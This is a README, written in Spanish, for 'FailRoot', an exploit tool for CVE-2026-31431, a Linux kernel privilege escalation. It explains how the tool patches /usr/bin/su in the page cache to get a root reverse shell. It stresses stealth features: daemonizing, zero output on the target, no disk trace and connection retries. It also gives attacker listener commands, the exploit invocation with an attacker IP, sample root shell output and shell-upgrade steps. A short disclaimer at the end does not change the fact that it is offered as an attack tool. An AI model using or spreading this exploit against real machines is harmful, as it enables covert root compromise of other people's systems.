CVE-2026-31431-REVSHELL

  █▀▀ ▄▀█ █ █   █▀█ █▀█ █▀█ ▀█▀
  █▀░ █▀█ █ █▄▄ █▀▄ █▄█ █▄█ ░█░

  CVE-2026-31431  •  Linux Kernel LPE  →  Root Reverse Shell

Resumen

FailRoot es un exploit armado para CVE-2026-31431 — una escritura fuera de límites en el subsistema crypto: algif_aead del kernel de Linux.

Encadena una escalada de privilegios con una reverse shell root demonizada con PTY completo:

AF_ALG + splice()  →  escritura de 4 bytes en page-cache  →  parchear /usr/bin/su  →  root

Todo el exploit cabe en un solo archivo. Sin compilación. Sin dependencias externas. Sin rastro en disco — el binario su se parchea solo en memoria.

Qué hace

1. Se demoniza al instante — doble fork, se desprende de la terminal, devuelve el prompt inmediatamente
2. Carga módulos del kernel — algif_aead + authencesn mediante múltiples estrategias de respaldo
3. Explota CVE-2026-31431 — escribe 4 bytes controlados en el page cache de /usr/bin/su
4. Genera reverse shell root con PTY — pty.spawn("/usr/bin/su") → TTY root totalmente interactivo

La reverse shell sobrevive al cierre de la terminal (SIGHUP ignorado), muestra cero salida en el objetivo y se conecta con reintentos durante hasta 3 minutos.

Uso

# Atacante — iniciar listener:
nc -lvnp 4444

# Objetivo — ejecutar exploit (no mostrará nada, se demoniza al instante):
python3 exploit.py <IP_ATACANTE> 4444

attacker ~ $ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.100] from [192.168.1.50] 50234

root@victim:~# id
uid=0(root) gid=0(root) groups=0(root)

Mejora de TTY (lado del atacante, dentro de la shell)

Ctrl+Z
stty raw -echo; fg
reset
export TERM=xterm-256color
export SHELL=/bin/bash

Kernels Afectados

Requisitos

• Python >= 3.10 (os.splice())
• Acceso de lectura a /usr/bin/su (legible por todos en todas las distros)
• Módulos del kernel algif_aead y authencesn disponibles
• No se requiere sudo

Autor

danimrtzp

Aviso legal

Solo para investigación de seguridad autorizada y fines educativos. El uso indebido es ilegal.